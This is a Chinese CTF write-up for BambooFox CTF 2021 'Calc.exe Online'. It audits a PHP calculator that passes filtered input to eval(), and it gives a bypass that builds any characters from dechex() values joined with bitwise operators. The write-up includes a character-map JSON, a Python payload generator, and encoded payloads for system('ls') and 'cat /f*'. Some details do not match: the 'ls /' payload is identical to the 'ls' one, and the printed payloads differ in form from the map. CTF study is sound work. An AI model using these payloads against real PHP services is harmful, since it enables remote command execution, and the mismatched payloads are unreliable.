BambooFox CTF 2021-Calc.exe Online
没给docker,可能刚结束,还没来得及上传,没关系,这题考phprce有相关源码就够了
代码审计
<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));
function is_safe($query)
{
$query = strtolower($query);
preg_match_all("/([a-z_]+)/", $query, $words);
$words = $words[0];
$good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
$accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
$accept_chars = str_split($accept_chars);
$bad = '';
for ($i = 0; $i < count($words); $i++) {
if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
$bad .= $words[$i] . " ";
}
}
for ($i = 0; $i < strlen($query); $i++) {
if (array_search($query[$i], $accept_chars) === false) {
$bad .= $query[$i] . " ";
}
}
return $bad;
}
function safe_eval($code)
{
if (strlen($code) > 1024) return "Expression too long.";
$code = strtolower($code);
$bad = is_safe($code);
$res = '';
if (strlen(str_replace(' ', '', $bad)))
$res = "I don't like this: " . $bad;
else
eval('$res=' . $code . ";");
return $res;
}
if (isset($_GET['expression']));
@safe_eval($_GET['expression']);
?>
部分不重要的代码略去
主要看到有
safe_eval($_GET['expression']);
通过自定义的safe_eval函数,传入的内容bypass相关安全检查后,即可执行eval。所以我们的思路就是绕过后命令执行
审计两个函数
is_safe函数使用白名单的函数,保证传入参数在白名单中,并连接返回
safe_eval函数保证参数值小于1024,并将其带入is_safe中处理,返回值中要没有除空格以外的内容,将会执行没有经过is_safe处理的值
dechex
感觉这种比较通俗易懂,观察白名单中可用的函数有dechex
举个例子
那么我们就可以借此函数和.连接的方式构造任意字母数字特殊字符
1.json
{"0": "(dechex(0)|dechex(0)|dechex(0))",
"1": "(dechex(0)|dechex(0)|dechex(1))",
"2": "(dechex(0)|dechex(0)|dechex(2))",
"3": "(dechex(0)|dechex(0)|dechex(3))",
"4": "(dechex(0)|dechex(0)|dechex(4))",
"5": "(dechex(0)|dechex(0)|dechex(5))",
"6": "(dechex(0)|dechex(0)|dechex(6))",
"7": "(dechex(0)|dechex(0)|dechex(7))",
"8": "(dechex(0)|dechex(0)|dechex(8))",
"9": "(dechex(0)|dechex(0)|dechex(9))",
"q": "(dechex(0)|dechex(0)|dechex(10))",
"r": "(dechex(0)|dechex(0)|dechex(11))",
"s": "(dechex(0)|dechex(0)|dechex(12))",
"t": "(dechex(0)|dechex(0)|dechex(13))",
"u": "(dechex(0)|dechex(0)|dechex(14))",
":": "(dechex(0)|dechex(2)|dechex(8))",
";": "(dechex(0)|dechex(2)|dechex(9))",
"v": "(dechex(0)|dechex(2)|dechex(13))",
"w": "(dechex(0)|dechex(2)|dechex(14))",
"<": "(dechex(0)|dechex(4)|dechex(8))",
"=": "(dechex(0)|dechex(4)|dechex(9))",
">": "(dechex(0)|dechex(6)|dechex(8))",
"?": "(dechex(0)|dechex(6)|dechex(9))",
"y": "(dechex(0)|dechex(8)|dechex(10))",
"z": "(dechex(0)|dechex(8)|dechex(11))",
"{": "(dechex(0)|dechex(8)|dechex(12))",
"|": "(dechex(0)|dechex(8)|dechex(13))",
"}": "(dechex(0)|dechex(8)|dechex(14))",
"~": "(dechex(2)|dechex(8)|dechex(13))",
"a": "(dechex(10)|dechex(10)|dechex(10))",
"c": "(dechex(10)|dechex(10)|dechex(11))",
"e": "(dechex(10)|dechex(10)|dechex(13))",
"g": "(dechex(10)|dechex(11)|dechex(13))",
"b": "(dechex(11)|dechex(11)|dechex(11))",
"f": "(dechex(11)|dechex(11)|dechex(13))",
"d": "(dechex(13)|dechex(13)|dechex(13))",
"m": "dechex(10)&dechex(10)|dechex(4)^dechex(8)",
"l": "dechex(10)&dechex(11)|dechex(4)^dechex(8)",
" ": "dechex(0)&dechex(10)|dechex(0)^dechex(0)",
"/": "dechex(0)&dechex(10)|dechex(6)^dechex(9)",
"*": "dechex(0)&dechex(10)|dechex(2)^dechex(8)"}
编写exp
#!/usr/bin/env python3
import json
import sys
import urllib.parse
if len(sys.argv) - 1 < 1:
print('A command must be specified')
exit(1)
payload = ''
with open('/1.json') as chars_file:
chars = json.load(chars_file)
for index, char in enumerate(sys.argv[1]):
if index != 0:
payload += '.'
payload += chars[char]
payload += ''
print(f"Payload:\n({payload})")
print(f"URL Encoded:\n({urllib.parse.quote(payload)})")
system(ls)
((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(11)|dechex(4)^dechex(8)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)))
ls /
((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(11)|dechex(4)^dechex(8)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)))
cat /f*
((dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(8)^dechex(10)).(dechex(0)&dechex(0)|dechex(0)^dechex(12)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(10)&dechex(10)|dechex(0)^dechex(4)).(dechex(10)&dechex(10)|dechex(4)^dechex(8)))((dechex(10)&dechex(10)|dechex(0)^dechex(2)).(dechex(10)&dechex(10)|dechex(0)^dechex(0)).(dechex(0)&dechex(0)|dechex(0)^dechex(13)).(dechex(0)&dechex(10)|dechex(0)^dechex(0)).(dechex(0)&dechex(10)|dechex(6)^dechex(9)).(dechex(10)&dechex(11)|dechex(0)^dechex(6)).(dechex(0)&dechex(10)|dechex(2)^dechex(8)))
还有一种方法,通过索引字符串的方式
例如:
abs[0] -> a
abs[0].abs[2] -> as
(cos[0].tanh[3].ncr[2])(65) -> chr(65) -> A
通过这样的方式同样可以构造出我们所需要的payload